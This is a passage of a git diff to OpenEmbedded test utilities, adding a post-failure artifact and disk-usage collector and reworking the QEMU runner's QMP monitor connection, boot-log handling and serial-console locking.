unfs_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", "unfs3-native")
if not os.path.exists(os.path.join(unfs_sysroot, "usr", "bin", "unfsd")):
# build native tool
@@ -22,11 +26,11 @@ def unfs_server(directory, logger = None):
exports.write("{0} (rw,no_root_squash,no_all_squash,insecure)\n".format(directory).encode())
# find some ports for the server
- nfsport, mountport = get_free_port(udp = True), get_free_port(udp = True)
+ nfsport, mountport = get_free_port(udp), get_free_port(udp)
nenv = dict(os.environ)
nenv['PATH'] = "{0}/sbin:{0}/usr/sbin:{0}/usr/bin:".format(unfs_sysroot) + nenv.get('PATH', '')
- cmd = Command(["unfsd", "-d", "-p", "-N", "-e", exports.name, "-n", str(nfsport), "-m", str(mountport)],
+ cmd = Command(["unfsd", "-d", "-p", "-e", exports.name, "-n", str(nfsport), "-m", str(mountport)],
bg = True, env = nenv, output_log = logger)
cmd.run()
yield nfsport, mountport
diff --git a/meta/lib/oeqa/utils/package_manager.py b/meta/lib/oeqa/utils/package_manager.py
index 3623299295..db799b64d6 100644
--- a/meta/lib/oeqa/utils/package_manager.py
+++ b/meta/lib/oeqa/utils/package_manager.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -117,7 +119,7 @@ def extract_packages(d, needed_packages):
extract = package.get('extract', True)
if extract:
- #logger.debug(1, 'Extracting %s' % pkg)
+ #logger.debug('Extracting %s' % pkg)
dst_dir = os.path.join(extracted_path, pkg)
# Same package used for more than one test,
# don't need to extract again.
@@ -130,7 +132,7 @@ def extract_packages(d, needed_packages):
shutil.rmtree(pkg_dir)
else:
- #logger.debug(1, 'Copying %s' % pkg)
+ #logger.debug('Copying %s' % pkg)
_copy_package(d, pkg)
def _extract_in_tmpdir(d, pkg):
diff --git a/meta/lib/oeqa/utils/postactions.py b/meta/lib/oeqa/utils/postactions.py
new file mode 100644
index 0000000000..8104400ac2
--- /dev/null
+++ b/meta/lib/oeqa/utils/postactions.py
@@ -0,0 +1,98 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Run a set of actions after tests. The runner provides internal data
+# dictionary as well as test context to any action to run.
+
+from oeqa.utils import get_json_result_dir
+
+def create_artifacts_directory(d, tc):
+ import shutil
+
+ local_artifacts_dir = os.path.join(get_json_result_dir(d), "artifacts")
+ if os.path.isdir(local_artifacts_dir):
+ shutil.rmtree(local_artifacts_dir)
+
+ os.makedirs(local_artifacts_dir)
+
+##################################################################
+# Host/target statistics
+##################################################################
+
+def get_target_disk_usage(d, tc):
+ output_file = os.path.join(get_json_result_dir(d), "artifacts", "target_disk_usage.txt")
+ try:
+ (status, output) = tc.target.run('df -hl')
+ with open(output_file, 'w') as f:
+ f.write(output)
+ f.write("\n")
+ except Exception as e:
+ bb.warn(f"Can not get target disk usage: {e}")
+
+def get_host_disk_usage(d, tc):
+ import subprocess
+
+ output_file = os.path.join(get_json_result_dir(d), "artifacts", "host_disk_usage.txt")
+ try:
+ with open(output_file, 'w') as f:
+ output = subprocess.run(['df', '-hl'], check=True, text=True, stdout=f, env={})
+ except Exception as e:
+ bb.warn(f"Can not get host disk usage: {e}")
+
+##################################################################
+# Artifacts retrieval
+##################################################################
+
+def get_artifacts_list(target, raw_list):
+ result = []
+ # Passed list may contains patterns in paths, expand them directly on target
+ for raw_path in raw_list.split():
+ cmd = f"for p in {raw_path}; do if [ -e $p ]; then echo $p; fi; done"
+ try:
+ status, output = target.run(cmd)
+ if status != 0 or not output:
+ raise Exception()
+ result += output.split()
+ except:
+ bb.note(f"No file/directory matching path {raw_path}")
+
+ return result
+
+def retrieve_test_artifacts(target, artifacts_list, target_dir):
+ local_artifacts_dir = os.path.join(target_dir, "artifacts")
+ for artifact_path in artifacts_list:
+ if not os.path.isabs(artifact_path):
+ bb.warn(f"{artifact_path} is not an absolute path")
+ continue
+ try:
+ dest_dir = os.path.join(local_artifacts_dir, os.path.dirname(artifact_path[1:]))
+ os.makedirs(dest_dir, exist_ok=True)
+ target.copyFrom(artifact_path, dest_dir)
+ except Exception as e:
+ bb.warn(f"Can not retrieve {artifact_path} from test target: {e}")
+
+def list_and_fetch_failed_tests_artifacts(d, tc):
+ artifacts_list = get_artifacts_list(tc.target, d.getVar("TESTIMAGE_FAILED_QA_ARTIFACTS"))
+ if not artifacts_list:
+ bb.warn("Could not load artifacts list, skip artifacts retrieval")
+ else:
+ retrieve_test_artifacts(tc.target, artifacts_list, get_json_result_dir(d))
+
+
+##################################################################
+# General post actions runner
+##################################################################
+
+def run_failed_tests_post_actions(d, tc):
+ post_actions=[
+ create_artifacts_directory,
+ list_and_fetch_failed_tests_artifacts,
+ get_target_disk_usage,
+ get_host_disk_usage
+ ]
+
+ for action in post_actions:
+ action(d, tc)
diff --git a/meta/lib/oeqa/utils/qemurunner.py b/meta/lib/oeqa/utils/qemurunner.py
index 519aa9aa1e..cda43aad8c 100644
--- a/meta/lib/oeqa/utils/qemurunner.py
+++ b/meta/lib/oeqa/utils/qemurunner.py
@@ -19,9 +19,11 @@ import errno
import string
import threading
import codecs
-import logging
-from oeqa.utils.dump import HostDumper
+import tempfile
from collections import defaultdict
+from contextlib import contextmanager
+import importlib
+import traceback
# Get Unicode non printable control chars
control_range = list(range(0,32))+list(range(127,160))
@@ -29,10 +31,19 @@ control_chars = [chr(x) for x in control_range
if chr(x) not in string.printable]
re_control_char = re.compile('[%s]' % re.escape("".join(control_chars)))
+def getOutput(o):
+ import fcntl
+ fl = fcntl.fcntl(o, fcntl.F_GETFL)
+ fcntl.fcntl(o, fcntl.F_SETFL, fl | os.O_NONBLOCK)
+ try:
+ return os.read(o.fileno(), 1000000).decode("utf-8")
+ except BlockingIOError:
+ return ""
+
class QemuRunner:
- def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, boottime, dump_dir, dump_host_cmds,
- use_kvm, logger, use_slirp=False, serial_ports=2, boot_patterns = defaultdict(str), use_ovmf=False, workdir=None):
+ def __init__(self, machine, rootfs, display, tmpdir, deploy_dir_image, logfile, boottime, dump_dir, use_kvm, logger, use_slirp=False,
+ serial_ports=2, boot_patterns = defaultdict(str), use_ovmf=False, workdir=None, tmpfsdir=None):
# Popen object for runqemu
self.runqemu = None
@@ -55,21 +66,24 @@ class QemuRunner:
self.boottime = boottime
self.logged = False
self.thread = None
+ self.threadsock = None
self.use_kvm = use_kvm
self.use_ovmf = use_ovmf
self.use_slirp = use_slirp
self.serial_ports = serial_ports
self.msg = ''
self.boot_patterns = boot_patterns
+ self.tmpfsdir = tmpfsdir
- self.runqemutime = 120
+ self.runqemutime = 300
if not workdir:
workdir = os.getcwd()
self.qemu_pidfile = workdir + '/pidfile_' + str(os.getpid())
- self.host_dumper = HostDumper(dump_host_cmds, dump_dir)
self.monitorpipe = None
self.logger = logger
+ # Whether we're expecting an exit and should show related errors
+ self.canexit = False
# Enable testing other OS's
# Set commands for target communication, and default to Linux ALWAYS
@@ -80,7 +94,7 @@ class QemuRunner:
accepted_patterns = ['search_reached_prompt', 'send_login_user', 'search_login_succeeded', 'search_cmd_finished']
default_boot_patterns = defaultdict(str)
# Default to the usual paterns used to communicate with the target
- default_boot_patterns['search_reached_prompt'] = b' login:'
+ default_boot_patterns['search_reached_prompt'] = ' login:'
default_boot_patterns['send_login_user'] = 'root\n'
default_boot_patterns['search_login_succeeded'] = r"root@[a-zA-Z0-9\-]+:~#"
default_boot_patterns['search_cmd_finished'] = r"[a-zA-Z0-9]+@[a-zA-Z0-9\-]+:~#"
@@ -94,6 +108,7 @@ class QemuRunner:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setblocking(0)
+ sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.bind(("127.0.0.1",0))
sock.listen(2)
port = sock.getsockname()[1]
@@ -104,30 +119,24 @@ class QemuRunner:
sock.close()
raise
- def log(self, msg):
- if self.logfile:
- # It is needed to sanitize the data received from qemu
- # because is possible to have control characters
- msg = msg.decode("utf-8", errors='ignore')
- msg = re_control_char.sub('', msg)
- self.msg += msg
- with codecs.open(self.logfile, "a", encoding="utf-8") as f:
- f.write("%s" % msg)
-
- def getOutput(self, o):
- import fcntl
- fl = fcntl.fcntl(o, fcntl.F_GETFL)
- fcntl.fcntl(o, fcntl.F_SETFL, fl | os.O_NONBLOCK)
- return os.read(o.fileno(), 1000000).decode("utf-8")
+ def decode_qemulog(self, todecode):
+ # Sanitize the data received from qemu as it may contain control characters
+ msg = todecode.decode("utf-8", errors='backslashreplace')
+ msg = re_control_char.sub('', msg)
+ return msg
+ def log(self, msg, extension=""):
+ if self.logfile:
+ with codecs.open(self.logfile + extension, "ab") as f:
+ f.write(msg)
+ self.msg += self.decode_qemulog(msg)
def handleSIGCHLD(self, signum, frame):
if self.runqemu and self.runqemu.poll():
if self.runqemu.returncode:
self.logger.error('runqemu exited with code %d' % self.runqemu.returncode)
- self.logger.error('Output from runqemu:\n%s' % self.getOutput(self.runqemu.stdout))
+ self.logger.error('Output from runqemu:\n%s' % getOutput(self.runqemu.stdout))
self.stop()
- self._dump_host()
def start(self, qemuparams = None, get_ip = True, extra_bootparams = None, runqemuparams='', launch_cmd=None, discard_writes=True):
env = os.environ.copy()
@@ -150,6 +159,9 @@ class QemuRunner:
else:
env["DEPLOY_DIR_IMAGE"] = self.deploy_dir_image
+ if self.tmpfsdir:
+ env["RUNQEMU_TMPFS_DIR"] = self.tmpfsdir
+
if not launch_cmd:
launch_cmd = 'runqemu %s' % ('snapshot' if discard_writes else '')
if self.use_kvm:
@@ -163,11 +175,38 @@ class QemuRunner:
launch_cmd += ' slirp'
if self.use_ovmf:
launch_cmd += ' ovmf'
- launch_cmd += ' %s %s %s' % (runqemuparams, self.machine, self.rootfs)
+ launch_cmd += ' %s %s' % (runqemuparams, self.machine)
+ if self.rootfs.endswith('.vmdk'):
+ self.logger.debug('Bypassing VMDK rootfs for runqemu')
+ else:
+ launch_cmd += ' %s' % (self.rootfs)
return self.launch(launch_cmd, qemuparams=qemuparams, get_ip=get_ip, extra_bootparams=extra_bootparams, env=env)
def launch(self, launch_cmd, get_ip = True, qemuparams = None, extra_bootparams = None, env = None):
+ # use logfile to determine the recipe-sysroot-native path and
+ # then add in the site-packages path components and add that
+ # to the python sys.path so the qmp module can be found.
+ python_path = os.path.dirname(os.path.dirname(self.logfile))
+ python_path += "/recipe-sysroot-native/usr/lib/qemu-python"
+ sys.path.append(python_path)
+ importlib.invalidate_caches()
+ try:
+ qmp = importlib.import_module("qmp")
+ except Exception as e:
+ self.logger.error("qemurunner: qmp module missing, please ensure it's installed in %s (%s)" % (python_path, str(e)))
+ return False
+ # Path relative to tmpdir used as cwd for qemu below to avoid unix socket path length issues
+ qmp_file = "." + next(tempfile._get_candidate_names())
+ qmp_param = ' -S -qmp unix:./%s,server,wait' % (qmp_file)
+ qmp_port = self.tmpdir + "/" + qmp_file
+ # Create a second socket connection for debugging use,
+ # note this will NOT cause qemu to block waiting for the connection
+ qmp_file2 = "." + next(tempfile._get_candidate_names())
+ qmp_param += ' -qmp unix:./%s,server,nowait' % (qmp_file2)
+ qmp_port2 = self.tmpdir + "/" + qmp_file2
+ self.logger.info("QMP Available for connection at %s" % (qmp_port2))
+
try:
if self.serial_ports >= 2:
self.threadsock, threadport = self.create_socket()
@@ -176,7 +215,7 @@ class QemuRunner:
self.logger.error("Failed to create listening socket: %s" % msg[1])
return False
- bootparams = 'console=tty1 console=ttyS0,115200n8 printk.time=1'
+ bootparams = ' printk.time=1'
if extra_bootparams:
bootparams = bootparams + ' ' + extra_bootparams
@@ -184,7 +223,8 @@ class QemuRunner:
# and analyze descendents in order to determine it.
if os.path.exists(self.qemu_pidfile):
os.remove(self.qemu_pidfile)
- self.qemuparams = 'bootparams="{0}" qemuparams="-pidfile {1}"'.format(bootparams, self.qemu_pidfile)
+ self.qemuparams = 'bootparams="{0}" qemuparams="-pidfile {1} {2}"'.format(bootparams, self.qemu_pidfile, qmp_param)
+
if qemuparams:
self.qemuparams = self.qemuparams[:-1] + " " + qemuparams + " " + '\"'
@@ -196,14 +236,15 @@ class QemuRunner:
self.origchldhandler = signal.getsignal(signal.SIGCHLD)
signal.signal(signal.SIGCHLD, self.handleSIGCHLD)
- self.logger.debug('launchcmd=%s'%(launch_cmd))
+ self.logger.debug('launchcmd=%s' % (launch_cmd))
# FIXME: We pass in stdin=subprocess.PIPE here to work around stty
# blocking at the end of the runqemu script when using this within
# oe-selftest (this makes stty error out immediately). There ought
# to be a proper fix but this will suffice for now.
- self.runqemu = subprocess.Popen(launch_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, preexec_fn=os.setpgrp, env=env)
+ self.runqemu = subprocess.Popen(launch_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, preexec_fn=os.setpgrp, env=env, cwd=self.tmpdir)
output = self.runqemu.stdout
+ launch_time = time.time()
#
# We need the preexec_fn above so that all runqemu processes can easily be killed
@@ -229,30 +270,33 @@ class QemuRunner:
r = os.fdopen(r)
x = r.read()
os.killpg(os.getpgid(self.runqemu.pid), signal.SIGTERM)
- sys.exit(0)
+ os._exit(0)
self.logger.debug("runqemu started, pid is %s" % self.runqemu.pid)
- self.logger.debug("waiting at most %s seconds for qemu pid (%s)" %
+ self.logger.debug("waiting at most %d seconds for qemu pid (%s)" %
(self.runqemutime, time.strftime("%D %H:%M:%S")))
endtime = time.time() + self.runqemutime
while not self.is_alive() and time.time() < endtime:
if self.runqemu.poll():
if self.runqemu_exited:
+ self.logger.warning("runqemu during is_alive() test")
return False
if self.runqemu.returncode:
# No point waiting any longer
self.logger.warning('runqemu exited with code %d' % self.runqemu.returncode)
- self._dump_host()
- self.logger.warning("Output from runqemu:\n%s" % self.getOutput(output))
+ self.logger.warning("Output from runqemu:\n%s" % getOutput(output))
self.stop()
return False
time.sleep(0.5)
if self.runqemu_exited:
- return False
+ self.logger.warning("runqemu after timeout")
+
+ if self.runqemu.returncode:
+ self.logger.warning('runqemu exited with code %d' % self.runqemu.returncode)
if not self.is_alive():
- self.logger.error("Qemu pid didn't appear in %s seconds (%s)" %
+ self.logger.error("Qemu pid didn't appear in %d seconds (%s)" %
(self.runqemutime, time.strftime("%D %H:%M:%S")))
qemu_pid = None
@@ -267,8 +311,7 @@ class QemuRunner:
ps = subprocess.Popen(['ps', 'axww', '-o', 'pid,ppid,pri,ni,command '], stdout=subprocess.PIPE).communicate()[0]
processes = ps.decode("utf-8")
self.logger.debug("Running processes:\n%s" % processes)
- self._dump_host()
- op = self.getOutput(output)
+ op = getOutput(output)
self.stop()
if op:
self.logger.error("Output from runqemu:\n%s" % op)
@@ -276,10 +319,79 @@ class QemuRunner:
self.logger.error("No output from runqemu.\n")
return False
+ # Create the client socket for the QEMU Monitor Control Socket
+ # This will allow us to read status from Qemu if the the process
+ # is still alive
+ self.logger.debug("QMP Initializing to %s" % (qmp_port))
+ # chdir dance for path length issues with unix sockets
+ origpath = os.getcwd()
+ try:
+ os.chdir(os.path.dirname(qmp_port))
+ try:
+ from qmp.legacy import QEMUMonitorProtocol
+ self.qmp = QEMUMonitorProtocol(os.path.basename(qmp_port))
+ except OSError as msg:
+ self.logger.warning("Failed to initialize qemu monitor socket: %s File: %s" % (msg, msg.filename))
+ return False
+
+ self.logger.debug("QMP Connecting to %s" % (qmp_port))
+ if not os.path.exists(qmp_port) and self.is_alive():
+ self.logger.debug("QMP Port does not exist waiting for it to be created")
+ endtime = time.time() + self.runqemutime
+ while not os.path.exists(qmp_port) and self.is_alive() and time.time() < endtime:
+ self.logger.info("QMP port does not exist yet!")
+ time.sleep(0.5)
+ if not os.path.exists(qmp_port) and self.is_alive():
+ self.logger.warning("QMP Port still does not exist but QEMU is alive")
+ return False
+
+ try:
+ # set timeout value for all QMP calls
+ self.qmp.settimeout(self.runqemutime)
+ self.qmp.connect()
+ connect_time = time.time()
+ self.logger.info("QMP connected to QEMU at %s and took %.2f seconds" %
+ (time.strftime("%D %H:%M:%S"),
+ time.time() - launch_time))
+ except OSError as msg:
+ self.logger.warning("Failed to connect qemu monitor socket: %s File: %s" % (msg, msg.filename))
+ return False
+ except qmp.legacy.QMPError as msg:
+ self.logger.warning("Failed to communicate with qemu monitor: %s" % (msg))
+ return False
+ finally:
+ os.chdir(origpath)
+
+ # We worry that mmap'd libraries may cause page faults which hang the qemu VM for periods
+ # causing failures. Before we "start" qemu, read through it's mapped files to try and
+ # ensure we don't hit page faults later
+ mapdir = "/proc/" + str(self.qemupid) + "/map_files/"
+ try:
+ for f in os.listdir(mapdir):
+ try:
+ linktarget = os.readlink(os.path.join(mapdir, f))
+ if not linktarget.startswith("/") or linktarget.startswith("/dev") or "deleted" in linktarget:
+ continue
+ with open(linktarget, "rb") as readf:
+ data = True
+ while data:
+ data = readf.read(4096)
+ except FileNotFoundError:
+ continue
+ # Centos7 doesn't allow us to read /map_files/
+ except PermissionError:
+ pass
+
+ # Release the qemu process to continue running
+ self.run_monitor('cont')
+ self.logger.info("QMP released QEMU at %s and took %.2f seconds from connect" %
+ (time.strftime("%D %H:%M:%S"),
+ time.time() - connect_time))
+
# We are alive: qemu is running
- out = self.getOutput(output)
+ out = getOutput(output)
netconf = False # network configuration is not required by default
- self.logger.debug("qemu started in %s seconds - qemu procces pid is %s (%s)" %
+ self.logger.debug("qemu started in %.2f seconds - qemu procces pid is %s (%s)" %
(time.time() - (endtime - self.runqemutime),
self.qemupid, time.strftime("%D %H:%M:%S")))
cmdline = ''
@@ -291,9 +403,10 @@ class QemuRunner:
cmdline = re_control_char.sub(' ', cmdline)
try:
if self.use_slirp:
- tcp_ports = cmdline.split("hostfwd=tcp::")[1]
+ tcp_ports = cmdline.split("hostfwd=tcp:")[1]
+ ip, tcp_ports = tcp_ports.split(":")[:2]
host_port = tcp_ports[:tcp_ports.find('-')]
- self.ip = "localhost:%s" % host_port
+ self.ip = "%s:%s" % (ip, host_port)
else:
ips = re.findall(r"((?:[0-9]{1,3}\.){3}[0-9]{1,3})", cmdline.split("ip=")[1])
self.ip = ips[0]
@@ -301,8 +414,8 @@ class QemuRunner:
self.logger.debug("qemu cmdline used:\n{}".format(cmdline))
except (IndexError, ValueError):
# Try to get network configuration from runqemu output
- match = re.match(r'.*Network configuration: (?:ip=)*([0-9.]+)::([0-9.]+):([0-9.]+)$.*',
- out, re.MULTILINE|re.DOTALL)
+ match = re.match(r'.*Network configuration: (?:ip=)*([0-9.]+)::([0-9.]+):([0-9.]+).*',
+ out, re.MULTILINE | re.DOTALL)
if match:
self.ip, self.server_ip, self.netmask = match.groups()
# network configuration is required as we couldn't get it
@@ -313,16 +426,16 @@ class QemuRunner:
self.logger.error("Couldn't get ip from qemu command line and runqemu output! "
"Here is the qemu command line used:\n%s\n"
"and output from runqemu:\n%s" % (cmdline, out))
- self._dump_host()
self.stop()
return False
self.logger.debug("Target IP: %s" % self.ip)
self.logger.debug("Server IP: %s" % self.server_ip)
+ self.thread = LoggingThread(self.log, self.threadsock, self.logger, self.runqemu.stdout)
+ self.thread.start()
+
if self.serial_ports >= 2:
- self.thread = LoggingThread(self.log, self.threadsock, self.logger)
- self.thread.start()
if not self.thread.connection_established.wait(self.boottime):
self.logger.error("Didn't receive a console connection from qemu. "
"Here is the qemu command line used:\n%s\nand "
@@ -334,7 +447,7 @@ class QemuRunner:
self.logger.debug("Waiting at most %d seconds for login banner (%s)" %
(self.boottime, time.strftime("%D %H:%M:%S")))
endtime = time.time() + self.boottime
- socklist = [self.server_socket]
+ filelist = [self.server_socket]
reachedlogin = False
stopread = False
qemusock = None
@@ -342,61 +455,82 @@ class QemuRunner:
data = b''
while time.time() < endtime and not stopread:
try:
- sread, swrite, serror = select.select(socklist, [], [], 5)
+ sread, swrite, serror = select.select(filelist, [], [], 5)
except InterruptedError:
continue
- for sock in sread:
- if sock is self.server_socket:
+ for file in sread:
+ if file is self.server_socket:
qemusock, addr = self.server_socket.accept()
- qemusock.setblocking(0)
- socklist.append(qemusock)
- socklist.remove(self.server_socket)
+ qemusock.setblocking(False)
+ filelist.append(qemusock)
+ filelist.remove(self.server_socket)
self.logger.debug("Connection from %s:%s" % addr)
else:
- data = data + sock.recv(1024)
+ # try to avoid reading only a single character at a time
+ time.sleep(0.1)
+ if hasattr(file, 'read'):
+ read = file.read(1024)
+ elif hasattr(file, 'recv'):
+ read = file.recv(1024)
+ else:
+ self.logger.error('Invalid file type: %s\n%s' % (file))
+ read = b''
+
+ self.logger.debug2('Partial boot log:\n%s' % (read.decode('utf-8', errors='backslashreplace')))
+ data = data + read
if data:
bootlog += data
- if self.serial_ports < 2:
- # this socket has mixed console/kernel data, log it to logfile
- self.log(data)
-
+ self.log(data, extension = ".2")
data = b''
- if self.boot_patterns['search_reached_prompt'] in bootlog:
+
+ if bytes(self.boot_patterns['search_reached_prompt'], 'utf-8') in bootlog:
+ self.server_socket.close()
self.server_socket = qemusock
stopread = True
reachedlogin = True
- self.logger.debug("Reached login banner in %s seconds (%s)" %
+ self.logger.debug("Reached login banner in %.2f seconds (%s)" %
(time.time() - (endtime - self.boottime),
time.strftime("%D %H:%M:%S")))
else:
# no need to check if reachedlogin unless we support multiple connections
self.logger.debug("QEMU socket disconnected before login banner reached. (%s)" %
time.strftime("%D %H:%M:%S"))
- socklist.remove(sock)
- sock.close()
+ filelist.remove(file)
+ file.close()
stopread = True
-
if not reachedlogin:
if time.time() >= endtime:
self.logger.warning("Target didn't reach login banner in %d seconds (%s)" %
(self.boottime, time.strftime("%D %H:%M:%S")))
tail = lambda l: "\n".join(l.splitlines()[-25:])
- bootlog = bootlog.decode("utf-8")
- # in case bootlog is empty, use tail qemu log store at self.msg
- lines = tail(bootlog if bootlog else self.msg)
- self.logger.warning("Last 25 lines of text:\n%s" % lines)
+ bootlog = self.decode_qemulog(bootlog)
+ self.logger.warning("Last 25 lines of login console (%d):\n%s" % (len(bootlog), tail(bootlog)))
+ self.logger.warning("Last 25 lines of all logging (%d):\n%s" % (len(self.msg), tail(self.msg)))
self.logger.warning("Check full boot log: %s" % self.logfile)
- self._dump_host()
self.stop()
+ data = True
+ while data:
+ try:
+ time.sleep(1)
+ data = qemusock.recv(1024)
+ self.log(data, extension = ".2")
+ self.logger.warning('Extra log data read: %s\n' % (data.decode('utf-8', errors='backslashreplace')))
+ except Exception as e:
+ self.logger.warning('Extra log data exception %s' % repr(e))
+ data = None
+ self.thread.serial_lock.release()
return False
+ with self.thread.serial_lock:
+ self.thread.set_serialsock(self.server_socket)
+
# If we are not able to login the tests can continue
try:
- (status, output) = self.run_serial(self.boot_patterns['send_login_user'], raw=True)
+ (status, output) = self.run_serial(self.boot_patterns['send_login_user'], raw=True, timeout=120)
if re.search(self.boot_patterns['search_login_succeeded'], output):
self.logged = True
- self.logger.debug("Logged as root in serial console")
+ self.logger.debug("Logged in as %s in serial console" % self.boot_patterns['send_login_user'].replace("\n", ""))
if netconf:
# configure guest networking
cmd = "ifconfig eth0 %s netmask %s up\n" % (self.ip, self.netmask)
@@ -407,7 +541,7 @@ class QemuRunner:
self.logger.debug("Couldn't configure guest networking")
else:
self.logger.warning("Couldn't login into serial console"
- " as root using blank password")
+ " as %s using blank password" % self.boot_patterns['send_login_user'].replace("\n", ""))
self.logger.warning("The output:\n%s" % output)
except:
self.logger.warning("Serial console failed while trying to login")
@@ -427,16 +561,24 @@ class QemuRunner:
except OSError as e:
if e.errno != errno.ESRCH:
raise
- endtime = time.time() + self.runqemutime
- while self.runqemu.poll() is None and time.time() < endtime:
- time.sleep(1)
- if self.runqemu.poll() is None:
+ try:
+ outs, errs = self.runqemu.communicate(timeout=self.runqemutime)
+ if outs:
+ self.logger.info("Output from runqemu:\n%s", outs.decode("utf-8"))
+ if errs:
+ self.logger.info("Stderr from runqemu:\n%s", errs.decode("utf-8"))
+ except subprocess.TimeoutExpired:
self.logger.debug("Sending SIGKILL to runqemu")
os.killpg(os.getpgid(self.runqemu.pid), signal.SIGKILL)
+ if not self.runqemu.stdout.closed:
+ self.logger.info("Output from runqemu:\n%s" % getOutput(self.runqemu.stdout))
self.runqemu.stdin.close()
self.runqemu.stdout.close()
self.runqemu_exited = True
+ if hasattr(self, 'qmp') and self.qmp:
+ self.qmp.close()
+ self.qmp = None
if hasattr(self, 'server_socket') and self.server_socket:
self.server_socket.close()
self.server_socket = None
@@ -467,6 +609,11 @@ class QemuRunner:
self.thread.stop()
self.thread.join()
+ def allowexit(self):
+ self.canexit = True
+ if self.thread:
+ self.thread.allowexit()
+
def restart(self, qemuparams = None):
self.logger.warning("Restarting qemu process")
if self.runqemu.poll() is None:
@@ -483,8 +630,12 @@ class QemuRunner:
# so it's possible that the file has been created but the content is empty
pidfile_timeout = time.time() + 3
while time.time() < pidfile_timeout:
- with open(self.qemu_pidfile, 'r') as f:
- qemu_pid = f.read().strip()
+ try:
+ with open(self.qemu_pidfile, 'r') as f:
+ qemu_pid = f.read().strip()
+ except FileNotFoundError:
+ # Can be used to detect shutdown so the pid file can disappear
+ return False
# file created but not yet written contents
if not qemu_pid:
time.sleep(0.5)
@@ -495,34 +646,49 @@ class QemuRunner:
return True
return False
+ def run_monitor(self, command, args=None, timeout=60):
+ if hasattr(self, 'qmp') and self.qmp:
+ self.qmp.settimeout(timeout)
+ if args is not None:
+ return self.qmp.cmd_raw(command, args)
+ else:
+ return self.qmp.cmd_raw(command)
+
def run_serial(self, command, raw=False, timeout=60):
+ # Returns (status, output) where status is 1 on success and 0 on error
+
# We assume target system have echo to get command status
if not raw:
command = "%s; echo $?\n" % command
data = ''
status = 0
- self.server_socket.sendall(command.encode('utf-8'))
- start = time.time()
- end = start + timeout
- while True:
- now = time.time()
- if now >= end:
- data += "<<< run_serial(): command timed out after %d seconds without output >>>\r\n\r\n" % timeout
- break
- try:
- sread, _, _ = select.select([self.server_socket],[],[], end - now)
- except InterruptedError:
- continue
- if sread:
- answer = self.server_socket.recv(1024)
- if answer:
- data += answer.decode('utf-8')
- # Search the prompt to stop
- if re.search(self.boot_patterns['search_cmd_finished'], data):
- break
- else:
- raise Exception("No data on serial console socket")
+ with self.thread.serial_lock:
+ self.server_socket.sendall(command.encode('utf-8'))
+ start = time.time()
+ end = start + timeout
+ while True:
+ now = time.time()
+ if now >= end:
+ data += "<<< run_serial(): command timed out after %d seconds without output >>>\r\n\r\n" % timeout
+ break
+ try:
+ sread, _, _ = select.select([self.server_socket],[],[], end - now)
+ except InterruptedError:
+ continue
+ if sread:
+ # try to avoid reading single character at a time
+ time.sleep(0.1)
+ answer = self.server_socket.recv(1024)
+ if answer:
+ data += answer.decode('utf-8')
+ # Search the prompt to stop
+ if re.search(self.boot_patterns['search_cmd_finished'], data):
+ break
+ else:
+ if self.canexit:
+ return (1, "")
+ raise Exception("No data on serial console socket, connection closed?")
if data:
if raw:
@@ -541,34 +707,46 @@ class QemuRunner:
status = 1
return (status, str(data))
-
- def _dump_host(self):
- self.host_dumper.create_dir("qemu")
- self.logger.warning("Qemu ended unexpectedly, dump data from host"
- " is in %s" % self.host_dumper.dump_dir)
- self.host_dumper.dump_host()
+@contextmanager
+def nonblocking_lock(lock):
+ locked = lock.acquire(False)
+ try:
+ yield locked
+ finally:
+ if locked:
+ lock.release()
# This class is for reading data from a socket and passing it to logfunc
# to be processed. It's completely event driven and has a straightforward
# event loop. The mechanism for stopping the thread is a simple pipe which
# will wake up the poll and allow for tearing everything down.
class LoggingThread(threading.Thread):
- def __init__(self, logfunc, sock, logger):
+ def __init__(self, logfunc, sock, logger, qemuoutput):
self.connection_established = threading.Event()
+ self.serial_lock = threading.Lock()
+
self.serversock = sock
+ self.serialsock = None
+ self.qemuoutput = qemuoutput
self.logfunc = logfunc
self.logger = logger
self.readsock = None
self.running = False
+ self.canexit = False
self.errorevents = select.POLLERR | select.POLLHUP | select.POLLNVAL
self.readevents = select.POLLIN | select.POLLPRI
threading.Thread.__init__(self, target=self.threadtarget)
+ def set_serialsock(self, serialsock):
+ self.serialsock = serialsock
+
def threadtarget(self):
try:
self.eventloop()
+ except Exception as e:
+ self.logger.warning("Exception %s in logging thread" % traceback.format_exception(e))
finally:
self.teardown()
@@ -584,7 +762,8 @@ class LoggingThread(threading.Thread):
def teardown(self):
self.logger.debug("Tearing down logging thread")
- self.close_socket(self.serversock)
+ if self.serversock:
+ self.close_socket(self.serversock)
if self.readsock is not None:
self.close_socket(self.readsock)
@@ -593,30 +772,37 @@ class LoggingThread(threading.Thread):
self.close_ignore_error(self.writepipe)
self.running = False
+ def allowexit(self):
+ self.canexit = True
+
def eventloop(self):
poll = select.poll()
event_read_mask = self.errorevents | self.readevents
- poll.register(self.serversock.fileno())
+ if self.serversock:
+ poll.register(self.serversock.fileno())
+ serial_registered = False
+ poll.register(self.qemuoutput.fileno())
poll.register(self.readpipe, event_read_mask)
breakout = False
self.running = True
self.logger.debug("Starting thread event loop")
while not breakout:
- events = poll.poll()
- for event in events:
+ events = poll.poll(2)
+ for fd, event in events:
+
# An error occurred, bail out
- if event[1] & self.errorevents:
- raise Exception(self.stringify_event(event[1]))
+ if event & self.errorevents:
+ raise Exception(self.stringify_event(event))
# Event to stop the thread
- if self.readpipe == event[0]:
+ if self.readpipe == fd:
self.logger.debug("Stop event received")
breakout = True
break
# A connection request was received
- elif self.serversock.fileno() == event[0]:
+ elif self.serversock and self.serversock.fileno() == fd:
self.logger.debug("Connection request received")
self.readsock, _ = self.serversock.accept()
self.readsock.setblocking(0)
@@ -627,18 +813,38 @@ class LoggingThread(threading.Thread):
self.connection_established.set()
# Actual data to be logged
- elif self.readsock.fileno() == event[0]:
